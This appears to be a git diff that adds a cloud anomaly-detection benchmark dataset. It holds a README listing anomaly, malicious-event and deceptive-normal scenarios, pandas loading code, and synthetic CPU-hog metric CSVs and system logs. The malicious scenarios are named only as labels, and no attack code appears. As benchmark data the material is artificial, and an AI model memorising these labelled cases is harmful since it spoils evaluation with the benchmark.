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It consists of 1,252 labeled cases spanning 28 anomalous scenarios and 16 deceptive normal scenarios (approximately 200K lines), with explicit annotations for anomaly type and scenario. By including deceptive normal cases where anomalous-looking metric patterns are explained by benign log events, the benchmark introduces higher ambiguity and difficulty compared to prior datasets, thereby providing a rigorous testbed for evaluating both anomaly detection and scenario identification. + +## 📁 Dataset Structure + +The dataset is organized as follows: + +``` +cloudanobench/ +├── anom_dataset/ # Anomaly scenarios (without Malicious) +│ ├── scenario_1/ # CPU Hog Process +│ ├── scenario_2/ # Memory Leak +│ └── ... +├── mali_dataset/ # Malicious Events scenarios +│ ├── scenario_1/ # Cryptomining Malware +│ ├── scenario_2/ # DDoS Botnet Agent +│ └── ... +└── norm_dataset/ # Deceptive Normal scnarios + ├── scenario_1/ # Nightly Full Backup + ├── scenario_2/ # Log Rotation & Compression + └── ... +``` + +Each scenario directory contains: +- `*.csv` files: Structured performance metrics and log data +- `*.log` files: Raw log files + +## 🚨 Anomaly scenarios (anom_dataset) + +The anomaly scenarios contains 17 different types of system anomaly scenarios, organized by the following categories: + +### Resource Exhaustion & Bottlenecks +- **Scenario 1**: CPU Hog Process - Resource exhaustion caused by CPU-intensive processes +- **Scenario 2**: Memory Leak - Memory leakage issues +- **Scenario 3**: Disk I/O Bottleneck - Disk I/O performance bottlenecks +- **Scenario 4**: Noisy Neighbor - Noisy neighbor effects in shared environments +- **Scenario 5**: Handle/Thread Exhaustion - Handle or thread pool exhaustion + +### Network Anomalies +- **Scenario 6**: High Network Latency / Packet Loss - High network latency and packet loss +- **Scenario 7**: Bandwidth Saturation - Network bandwidth saturation +- **Scenario 8**: DNS Resolution Failure - DNS resolution failures +- **Scenario 9**: Firewall/Security Group Misconfiguration - Firewall or security group misconfigurations + +### Software & Application Anomalies +- **Scenario 10**: Application Crash Loop - Application crash-restart loops +- **Scenario 11**: Deadlock / Livelock - Deadlock and livelock situations +- **Scenario 12**: External Dependency Failure - External service dependency failures +- **Scenario 13**: Application Misconfiguration - Application configuration errors +- **Scenario 14**: Garbage Collection (GC) Storm - Excessive garbage collection activity + +### Other Complex & Subtle Anomalies +- **Scenario 15**: Time Skew (Clock Drift) - System clock drift and time synchronization issues +- **Scenario 16**: Kernel / Driver Bug - Kernel or device driver bugs +- **Scenario 17**: (Additional anomaly scenario) + +## 🦠 Malicious Events scenarios Dataset (mali_dataset) + +The malicious activity dataset contains 12 different types of malicious event scenarios: + +### Malicious Events +- **Scenario 1**: Cryptomining Malware - Cryptocurrency mining malware activities +- **Scenario 2**: DDoS Botnet Agent - DDoS botnet agent operations +- **Scenario 3**: Ransomware - Ransomware infection and encryption activities +- **Scenario 4**: Data Exfiltration - Unauthorized data theft and transfer +- **Scenario 5**: Spam Bot - Spam email distribution bot activities +- **Scenario 6**: Rootkit / Backdoor - Rootkit installation and backdoor access +- **Scenario 7**: Brute-force / Credential Stuffing Attack - Password brute-force and credential stuffing attacks +- **Scenario 8**: Web Shell Beaconing & Command Execution - Web shell communication and remote command execution +- **Scenario 9**: Password Cracking - Password cracking and hash breaking activities +- **Scenario 10**: Log Deletion / Tampering - System log deletion and tampering +- **Scenario 11**: Reverse Shell - Reverse shell establishment and communication +- **Scenario 12**: Application-Layer DDoS Attack - Application-layer DDoS attacks + +## ✅ Deceptive Normal scnarios Dataset (norm_dataset) + +The normal behavior dataset contains 16 different normal business operation scenarios: + +### Normal Business Operations +- **Scenario 1**: Nightly Full Backup - Scheduled full system backup operations +- **Scenario 2**: Log Rotation & Compression - Automated log file rotation and compression +- **Scenario 3**: Periodic Data Aggregation - Regular data aggregation and summarization tasks +- **Scenario 4**: Filesystem Cleanup - Routine filesystem maintenance and cleanup +- **Scenario 5**: SSL Certificate Renewal - Automated SSL/TLS certificate renewal processes +- **Scenario 6**: Blue-Green Deployment - Blue-green application deployment procedures +- **Scenario 7**: Live Streaming Event Start - Live streaming service initialization +- **Scenario 8**: Search Engine Aggressive Crawl - Intensive web crawling operations +- **Scenario 9**: End-of-Month Financial Closing - Month-end financial processing workflows +- **Scenario 10**: On-Demand Full Report Generation - Large-scale report generation tasks +- **Scenario 11**: ETL Pipeline Execution - Extract, Transform, Load data pipeline operations +- **Scenario 12**: On-Demand Video Transcoding - Video transcoding and processing tasks +- **Scenario 13**: Database Compaction/Vacuum - Database maintenance and optimization +- **Scenario 14**: Cache Eviction Storm - Cache invalidation and eviction processes +- **Scenario 15**: Connection Pool Scaling - Dynamic connection pool scaling operations +- **Scenario 16**: File Integrity Monitoring Scan - System-wide file integrity verification + + +## 🔧 Usage + +### Data Loading Example + +```python +import pandas as pd +import os + +# Load data for a specific scenario +def load_scenario_data(dataset_type, scenario_id): + """ + Load data for a specific scenario + + Args: + dataset_type: 'anom', 'mali', or 'norm' + scenario_id: Scenario number (1-17 for anom, 1-12 for mali, 1-16 for norm) + """ + base_path = f"{dataset_type}_dataset/scenario_{scenario_id}" + + csv_files = [] + log_files = [] + + for file in os.listdir(base_path): + if file.endswith('.csv'): + csv_files.append(pd.read_csv(os.path.join(base_path, file))) + elif file.endswith('.log'): + log_files.append(os.path.join(base_path, file)) + + return csv_files, log_files + +# Example: Load CPU Hog Process anomaly data +csv_data, log_files = load_scenario_data('anom', 1) +``` + +### Batch Data Processing + +```python +# Batch load all anomaly scenarios +anomaly_data = {} +for i in range(1, 18): # scenarios 1-17 + anomaly_data[f'scenario_{i}'] = load_scenario_data('anom', i) + +# Batch load all malicious activity scenarios +malicious_data = {} +for i in range(1, 13): # scenarios 1-12 + malicious_data[f'scenario_{i}'] = load_scenario_data('mali', i) + +# Batch load all normal behavior scenarios +normal_data = {} +for i in range(1, 17): # scenarios 1-16 + normal_data[f'scenario_{i}'] = load_scenario_data('norm', i) +``` + +## 📋 File Naming Convention + +- Anomaly data: `anom_{scenario_id}_{case_number}.{csv|log}` +- Malicious data: `mali_{scenario_id}_{case_number}.{csv|log}` +- Normal data: `norm_{scenario_id}_{case_number}.{csv|log}` + +Where: +- `scenario_id`: Scenario number +- `case_number`: Case number within the scenario +- Extension: `.csv` for structured data, `.log` for raw logs + + +```bibtex +@misc{zou2025generalizablecontextawareanomalydetection, + title={Towards Generalizable Context-aware Anomaly Detection: A Large-scale Benchmark in Cloud Environments}, + author={Xinkai Zou and Xuan Jiang and Ruikai Huang and Haoze He and Parv Kapoor and Hongrui Wu and Yibo Wang and Jian Sha and Xiongbo Shi and Zixun Huang and Jinhua Zhao}, + year={2025}, + eprint={2508.01844}, + archivePrefix={arXiv}, + primaryClass={cs.AI}, + url={https://arxiv.org/abs/2508.01844}, +} +``` \ No newline at end of file diff --git a/anom_dataset/scenario_1/anom_1_1.csv b/anom_dataset/scenario_1/anom_1_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..ce5b95c6113ebe1958776317c822ded98f2f9caa --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_1.csv @@ -0,0 +1,91 @@ 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/api/v1/user/12 status=200 OK +Jul 02 11:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 11:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 11:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 11:02:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:03:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:03:25 run-parts[5433]: starting /etc/cron.hourly/high-intensity-computation.sh +Jul 02 11:03:26 high-intensity-computation.sh[5435]: Starting intensive data processing task. +Jul 02 11:03:30 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:03:45 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:04:00 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:04:15 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:04:30 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:04:45 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:05:00 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:05:15 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:05:30 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:05:45 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:06:00 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:06:15 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:06:30 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:06:40 high-intensity-computation.sh[5435]: Data processing task still running... +Jul 02 11:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:06:45 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:07:00 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 02 11:07:15 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout diff --git a/anom_dataset/scenario_1/anom_1_10.csv b/anom_dataset/scenario_1/anom_1_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..eaf6f44624b42255ef7430050ba75a9b541728fb --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,13.43,40.16,22.58,0.8,1.4 +2025-08-23T10:00:05Z,15.73,39.81,32.45,0.72,1.07 +2025-08-23T10:00:10Z,12.92,42.98,33.95,0.55,1.46 +2025-08-23T10:00:15Z,15.72,39.67,20.99,0.78,1.19 +2025-08-23T10:00:20Z,11.19,41.04,24.08,0.93,1.45 +2025-08-23T10:00:25Z,15.13,40.71,23.46,0.63,1.45 +2025-08-23T10:00:30Z,16.92,41.85,32.42,0.53,1.24 +2025-08-23T10:00:35Z,17.01,39.92,17.27,0.84,0.99 +2025-08-23T10:00:40Z,15.28,40.18,34.83,0.6,1.05 +2025-08-23T10:00:45Z,14.23,42.82,27.47,0.76,1.1 +2025-08-23T10:00:50Z,11.42,43.66,20.31,0.74,2.0 +2025-08-23T10:00:55Z,17.27,41.25,22.39,0.47,1.27 +2025-08-23T10:01:00Z,17.75,41.41,25.79,0.7,1.28 +2025-08-23T10:01:05Z,19.77,41.66,25.06,0.77,1.15 +2025-08-23T10:01:10Z,11.48,42.49,16.44,1.06,1.11 +2025-08-23T10:01:15Z,14.72,42.45,19.39,0.67,1.41 +2025-08-23T10:01:20Z,19.28,44.85,24.55,0.82,1.25 +2025-08-23T10:01:25Z,15.02,40.8,23.06,1.0,1.42 +2025-08-23T10:01:30Z,13.91,43.4,23.66,0.64,1.22 +2025-08-23T10:01:35Z,17.32,43.36,15.0,0.77,1.25 +2025-08-23T10:01:40Z,20.93,43.58,24.56,0.89,0.94 +2025-08-23T10:01:45Z,17.35,43.15,19.32,0.91,0.96 +2025-08-23T10:01:50Z,14.09,42.29,29.96,0.57,1.27 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+2025-08-23T10:06:55Z,97.69,45.19,22.7,0.76,1.59 +2025-08-23T10:07:00Z,98.1,44.92,32.94,0.54,1.44 +2025-08-23T10:07:05Z,99.65,44.92,24.87,0.67,1.28 +2025-08-23T10:07:10Z,98.22,41.27,22.77,0.71,1.4 +2025-08-23T10:07:15Z,97.92,42.25,20.64,0.99,1.49 +2025-08-23T10:07:20Z,99.85,42.96,28.47,0.66,1.38 +2025-08-23T10:07:25Z,99.92,39.04,20.04,0.53,1.07 diff --git a/anom_dataset/scenario_1/anom_1_10.log b/anom_dataset/scenario_1/anom_1_10.log new file mode 100644 index 0000000000000000000000000000000000000000..826982ded3b633ac2e12908a8322e59d18f4565e --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_10.log @@ -0,0 +1,23 @@ +Aug 23 10:00:05 sshd[10521]: Accepted publickey for user admin from 10.0.1.15 port 49152 ssh2 +Aug 23 10:00:12 systemd[1]: Starting Daily apt download activities... +Aug 23 10:00:28 webapp-server[3101]: INFO: GET /api/v1/health status=200 duration=25ms +Aug 23 10:00:45 cron[11500]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 23 10:01:05 webapp-server[3101]: INFO: GET /api/v1/users/12 status=200 duration=45ms +Aug 23 10:01:30 systemd[1]: Finished Daily apt download activities. +Aug 23 10:01:55 webapp-server[3101]: INFO: POST /api/v1/login status=200 duration=80ms +Aug 23 10:02:20 sshd[10521]: Connection closed by 10.0.1.15 port 49152 +Aug 23 10:02:50 webapp-server[3101]: INFO: GET /api/v1/dashboard status=200 duration=150ms +Aug 23 10:03:15 webapp-server[3101]: WARN: High latency detected for GET /api/v1/data. duration=1500ms +Aug 23 10:03:32 webapp-server[3101]: ERROR: Request timed out after 30s: GET /api/v1/data +Aug 23 10:03:45 webapp-server[3101]: ERROR: Request timed out after 30s: POST /api/v1/update +Aug 23 10:04:01 systemd[1]: session-c5.scope: Succeeded. +Aug 23 10:04:10 webapp-server[3101]: ERROR: Upstream service not responding for GET /api/v1/external-data, timeout +Aug 23 10:04:33 webapp-server[3101]: ERROR: Request timed out after 30s: GET /api/v1/data +Aug 23 10:04:50 cron[11800]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 23 10:05:10 webapp-server[3101]: ERROR: Request timed out after 30s: GET /api/v1/data +Aug 23 10:05:32 webapp-server[3101]: ERROR: Request timed out after 30s: GET /api/v1/dashboard +Aug 23 10:05:55 webapp-server[3101]: ERROR: Request timed out after 30s: GET /api/v1/users/all +Aug 23 10:06:20 webapp-server[3101]: ERROR: Request timed out after 30s: GET /api/v1/data +Aug 23 10:06:41 kernel: [1823.431] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 23 10:06:55 webapp-server[3101]: ERROR: Request timed out after 30s: GET /api/v1/data +Aug 23 10:07:20 webapp-server[3101]: ERROR: Request timed out after 30s: POST /api/v1/action diff --git a/anom_dataset/scenario_1/anom_1_11.csv b/anom_dataset/scenario_1/anom_1_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..49f96fdb65810498d45b06d3a342e5dbbd5c4328 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,11.73,39.45,24.27,1.2,0.81 +2025-07-15T14:00:05Z,11.0,37.25,22.37,0.64,1.1 +2025-07-15T14:00:10Z,15.78,36.07,26.38,0.8,1.73 +2025-07-15T14:00:15Z,12.08,42.5,27.13,0.74,1.69 +2025-07-15T14:00:20Z,20.04,40.59,27.19,0.8,0.83 +2025-07-15T14:00:25Z,14.85,37.76,30.54,1.43,0.94 +2025-07-15T14:00:30Z,16.15,38.79,29.61,0.56,1.04 +2025-07-15T14:00:35Z,15.27,39.06,24.33,1.0,1.53 +2025-07-15T14:00:40Z,10.79,39.87,21.04,1.0,1.06 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+2025-07-15T14:05:45Z,98.4,44.66,26.56,0.6,1.6 +2025-07-15T14:05:50Z,97.91,40.16,23.52,1.3,1.35 +2025-07-15T14:05:55Z,99.58,40.22,30.48,0.77,0.74 +2025-07-15T14:06:00Z,99.5,42.64,22.38,1.36,1.01 +2025-07-15T14:06:05Z,97.13,42.09,20.2,0.76,1.61 +2025-07-15T14:06:10Z,99.57,41.17,26.07,0.99,1.13 +2025-07-15T14:06:15Z,96.26,43.51,29.96,0.73,1.43 +2025-07-15T14:06:20Z,100.0,39.67,30.1,0.94,1.38 +2025-07-15T14:06:25Z,97.1,40.08,28.83,0.68,1.69 +2025-07-15T14:06:30Z,99.49,40.98,20.28,0.69,0.93 +2025-07-15T14:06:35Z,99.97,38.78,21.17,1.42,0.72 +2025-07-15T14:06:40Z,100.0,40.8,25.77,1.11,1.46 +2025-07-15T14:06:45Z,100.0,44.47,23.49,0.74,0.99 +2025-07-15T14:06:50Z,98.48,44.0,17.61,0.8,1.03 +2025-07-15T14:06:55Z,98.93,41.18,26.54,0.53,0.96 +2025-07-15T14:07:00Z,99.6,43.49,23.57,1.14,1.34 +2025-07-15T14:07:05Z,99.31,42.55,29.79,1.05,1.65 +2025-07-15T14:07:10Z,97.07,40.67,18.69,0.66,1.15 +2025-07-15T14:07:15Z,97.24,44.88,18.94,1.35,1.17 +2025-07-15T14:07:20Z,100.0,38.91,25.96,0.58,0.77 +2025-07-15T14:07:25Z,96.83,40.83,34.13,1.08,0.86 diff --git a/anom_dataset/scenario_1/anom_1_11.log b/anom_dataset/scenario_1/anom_1_11.log new file mode 100644 index 0000000000000000000000000000000000000000..02a301b2fddce1c462048ddda261443470eccc8e --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_11.log @@ -0,0 +1,70 @@ +Jul 15 14:00:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 15 14:00:05 nginx[4321]: GET /api/status HTTP/1.1 200 OK +Jul 15 14:00:10 CRON[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 15 14:00:10 sshd[11298]: Accepted publickey for user admin from 10.0.2.5 port 49152 ssh2: RSA SHA256:... +Jul 15 14:00:25 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 15 14:00:55 nginx[4321]: GET /api/status HTTP/1.1 200 OK +Jul 15 14:01:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 15 14:01:40 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 15 14:01:40 web-app[5010]: INFO: User 'alex' successfully authenticated. +Jul 15 14:01:45 nginx[4321]: GET /api/status HTTP/1.1 200 OK +Jul 15 14:02:15 CRON[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 15 14:02:30 nginx[4321]: GET /api/data/heavy HTTP/1.1 504 Gateway Timeout +Jul 15 14:02:30 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 15 14:02:35 nginx[4321]: GET /api/status HTTP/1.1 200 OK +Jul 15 14:02:40 web-app[5010]: ERROR: Request timeout after 30000ms for user 'beta_tester' +Jul 15 14:02:55 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 15 14:03:00 nginx[4321]: GET /api/data/heavy HTTP/1.1 504 Gateway Timeout +Jul 15 14:03:00 web-app[5010]: ERROR: Request timeout after 30000ms for user 'beta_tester' +Jul 15 14:03:20 web-app[5010]: ERROR: Request timeout after 30000ms for user 'beta_tester' +Jul 15 14:03:25 nginx[4321]: GET /api/status HTTP/1.1 200 OK +Jul 15 14:03:30 nginx[4321]: GET /api/data/heavy HTTP/1.1 504 Gateway Timeout +Jul 15 14:03:40 web-app[5010]: ERROR: Request timeout after 30000ms for user 'beta_tester' +Jul 15 14:03:45 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 15 14:04:00 nginx[4321]: GET /api/data/heavy HTTP/1.1 504 Gateway Timeout +Jul 15 14:04:00 web-app[5010]: ERROR: Request timeout after 30000ms for user 'beta_tester' +Jul 15 14:04:10 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 15 14:04:15 nginx[4321]: GET /api/status HTTP/1.1 200 OK +Jul 15 14:04:20 CRON[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 15 14:04:20 web-app[5010]: ERROR: Request timeout after 30000ms for user 'beta_tester' +Jul 15 14:04:30 nginx[4321]: GET /api/data/heavy HTTP/1.1 504 Gateway Timeout +Jul 15 14:04:40 web-app[5010]: ERROR: Request timeout after 30000ms for user 'beta_tester' +Jul 15 14:05:00 nginx[4321]: GET /api/data/realtime HTTP/1.1 504 Gateway Timeout +Jul 15 14:05:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 15 14:05:00 web-app[5010]: CRITICAL: High number of consecutive timeouts detected. Service health degraded. +Jul 15 14:05:00 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:05:05 nginx[4321]: GET /api/status HTTP/1.1 200 OK +Jul 15 14:05:10 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:05:15 nginx[4321]: GET /api/data/realtime HTTP/1.1 504 Gateway Timeout +Jul 15 14:05:20 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:05:25 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 15 14:05:25 web-app[5010]: CRITICAL: High number of consecutive timeouts detected. Service health degraded. +Jul 15 14:05:30 nginx[4321]: GET /api/data/realtime HTTP/1.1 504 Gateway Timeout +Jul 15 14:05:30 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:05:40 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:05:45 nginx[4321]: GET /api/data/realtime HTTP/1.1 504 Gateway Timeout +Jul 15 14:05:50 web-app[5010]: CRITICAL: High number of consecutive timeouts detected. Service health degraded. +Jul 15 14:05:50 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:05:55 nginx[4321]: GET /api/status HTTP/1.1 200 OK +Jul 15 14:06:00 nginx[4321]: GET /api/data/realtime HTTP/1.1 504 Gateway Timeout +Jul 15 14:06:00 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:06:10 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:06:15 nginx[4321]: GET /api/data/realtime HTTP/1.1 504 Gateway Timeout +Jul 15 14:06:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 15 14:06:15 web-app[5010]: CRITICAL: High number of consecutive timeouts detected. Service health degraded. +Jul 15 14:06:20 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:06:25 CRON[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 15 14:06:30 nginx[4321]: GET /api/data/realtime HTTP/1.1 504 Gateway Timeout +Jul 15 14:06:30 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:06:40 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 15 14:06:40 web-app[5010]: CRITICAL: High number of consecutive timeouts detected. Service health degraded. +Jul 15 14:06:40 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:06:45 nginx[4321]: GET /api/data/realtime HTTP/1.1 504 Gateway Timeout +Jul 15 14:06:45 nginx[4321]: GET /api/status HTTP/1.1 200 OK +Jul 15 14:06:50 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:07:00 nginx[4321]: GET /api/data/realtime HTTP/1.1 504 Gateway Timeout +Jul 15 14:07:00 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:07:05 web-app[5010]: CRITICAL: High number of consecutive timeouts detected. Service health degraded. +Jul 15 14:07:10 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' +Jul 15 14:07:15 nginx[4321]: GET /api/data/realtime HTTP/1.1 504 Gateway Timeout +Jul 15 14:07:20 web-app[5010]: ERROR: Upstream service not responding, request failed for user 'charlie' diff --git a/anom_dataset/scenario_1/anom_1_12.csv b/anom_dataset/scenario_1/anom_1_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..c6fd13bcaa7ebd0dca7db66c25f0d1cdd4ab3232 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,19.96,39.25,21.2,1.5,1.19 +2025-07-02T10:00:05Z,18.27,39.77,20.21,0.9,0.8 +2025-07-02T10:00:10Z,16.94,41.38,27.73,0.85,1.5 +2025-07-02T10:00:15Z,10.83,40.56,29.74,0.53,0.76 +2025-07-02T10:00:20Z,16.43,40.98,31.89,0.89,0.99 +2025-07-02T10:00:25Z,10.87,35.38,21.88,0.89,1.25 +2025-07-02T10:00:30Z,15.11,40.69,29.81,0.99,1.54 +2025-07-02T10:00:35Z,11.66,38.05,33.1,0.64,0.86 +2025-07-02T10:00:40Z,17.92,38.03,22.44,0.97,1.05 +2025-07-02T10:00:45Z,17.78,44.98,26.27,1.08,0.94 +2025-07-02T10:00:50Z,10.38,38.17,27.12,1.38,1.47 +2025-07-02T10:00:55Z,16.66,37.81,21.6,0.8,0.72 +2025-07-02T10:01:00Z,16.63,36.22,26.35,0.78,1.24 +2025-07-02T10:01:05Z,12.44,35.12,20.71,1.23,1.65 +2025-07-02T10:01:10Z,16.87,37.97,20.35,0.58,0.85 +2025-07-02T10:01:15Z,16.08,44.4,21.79,0.97,1.22 +2025-07-02T10:01:20Z,14.72,35.26,34.87,0.74,0.88 +2025-07-02T10:01:25Z,11.47,39.55,21.66,1.42,0.92 +2025-07-02T10:01:30Z,15.01,35.43,30.27,1.49,1.51 +2025-07-02T10:01:35Z,18.0,41.97,33.74,0.91,1.3 +2025-07-02T10:01:40Z,18.77,44.11,33.05,0.96,0.91 +2025-07-02T10:01:45Z,13.23,35.47,34.64,1.31,1.17 +2025-07-02T10:01:50Z,15.6,36.51,27.55,0.57,0.83 +2025-07-02T10:01:55Z,16.5,35.85,28.52,1.37,0.98 +2025-07-02T10:02:00Z,18.99,37.75,22.77,1.09,1.2 +2025-07-02T10:02:05Z,13.08,38.41,28.08,1.16,1.75 +2025-07-02T10:02:10Z,14.27,38.29,33.54,0.55,0.72 +2025-07-02T10:02:15Z,17.85,38.41,31.11,1.02,1.09 +2025-07-02T10:02:20Z,10.81,41.27,26.73,1.32,0.77 +2025-07-02T10:02:25Z,10.54,43.19,33.28,0.5,0.88 +2025-07-02T10:02:30Z,20.0,38.63,29.08,1.03,1.79 +2025-07-02T10:02:35Z,25.71,41.7,20.23,0.64,1.1 +2025-07-02T10:02:40Z,31.43,40.1,21.5,1.31,1.54 +2025-07-02T10:02:45Z,37.14,42.83,32.96,0.78,1.68 +2025-07-02T10:02:50Z,42.86,44.18,32.15,1.25,1.29 +2025-07-02T10:02:55Z,48.57,36.24,28.21,1.25,1.18 +2025-07-02T10:03:00Z,54.29,43.16,32.11,0.66,0.79 +2025-07-02T10:03:05Z,60.0,43.68,32.55,0.55,1.62 +2025-07-02T10:03:10Z,65.71,40.23,28.43,0.88,1.56 +2025-07-02T10:03:15Z,71.43,38.39,26.15,1.03,1.42 +2025-07-02T10:03:20Z,77.14,44.7,30.85,1.25,1.12 +2025-07-02T10:03:25Z,82.86,41.64,31.9,1.11,0.72 +2025-07-02T10:03:30Z,88.57,41.58,29.12,1.29,1.67 +2025-07-02T10:03:35Z,94.29,38.45,21.57,0.81,0.72 +2025-07-02T10:03:40Z,100.0,38.7,34.96,1.4,1.66 +2025-07-02T10:03:45Z,99.14,37.73,25.67,0.55,0.96 +2025-07-02T10:03:50Z,99.33,40.95,23.15,0.85,1.79 +2025-07-02T10:03:55Z,99.5,37.0,28.67,0.72,1.24 +2025-07-02T10:04:00Z,98.95,37.75,21.82,1.07,0.76 +2025-07-02T10:04:05Z,99.87,36.92,26.57,1.47,0.99 +2025-07-02T10:04:10Z,99.5,39.78,31.9,0.57,1.77 +2025-07-02T10:04:15Z,98.42,41.31,28.04,0.77,1.14 +2025-07-02T10:04:20Z,99.69,37.07,31.08,0.73,1.59 +2025-07-02T10:04:25Z,98.24,38.58,29.85,1.32,1.23 +2025-07-02T10:04:30Z,99.65,43.16,32.13,0.57,1.53 +2025-07-02T10:04:35Z,99.63,37.67,34.84,0.63,1.08 +2025-07-02T10:04:40Z,99.9,35.86,23.27,1.25,1.31 +2025-07-02T10:04:45Z,99.01,43.24,28.62,0.97,1.73 +2025-07-02T10:04:50Z,98.02,43.49,20.04,0.65,0.93 +2025-07-02T10:04:55Z,98.37,39.33,30.5,1.23,1.35 +2025-07-02T10:05:00Z,99.4,41.6,22.87,1.1,1.71 +2025-07-02T10:05:05Z,99.95,42.28,31.8,1.46,1.1 +2025-07-02T10:05:10Z,98.19,42.34,22.19,1.27,0.84 +2025-07-02T10:05:15Z,99.9,44.54,28.11,1.25,1.09 +2025-07-02T10:05:20Z,98.05,43.62,26.91,1.47,0.88 +2025-07-02T10:05:25Z,99.57,44.86,28.3,0.92,1.55 +2025-07-02T10:05:30Z,99.7,36.5,28.3,1.1,1.13 +2025-07-02T10:05:35Z,98.09,41.92,32.72,0.81,1.35 +2025-07-02T10:05:40Z,99.7,42.64,32.91,1.4,1.67 +2025-07-02T10:05:45Z,98.63,44.31,29.78,1.38,1.23 +2025-07-02T10:05:50Z,98.58,41.97,20.86,0.57,0.81 +2025-07-02T10:05:55Z,98.09,43.64,25.07,1.37,1.34 +2025-07-02T10:06:00Z,98.84,41.52,28.29,0.69,0.71 +2025-07-02T10:06:05Z,98.9,38.07,34.75,1.19,1.14 +2025-07-02T10:06:10Z,99.19,35.85,24.7,0.98,1.38 +2025-07-02T10:06:15Z,99.67,44.6,31.36,0.68,0.95 +2025-07-02T10:06:20Z,98.37,36.05,26.25,1.36,1.31 +2025-07-02T10:06:25Z,99.0,44.29,26.33,0.61,1.19 +2025-07-02T10:06:30Z,99.48,38.69,30.12,1.42,1.43 +2025-07-02T10:06:35Z,99.91,45.0,20.78,0.81,1.41 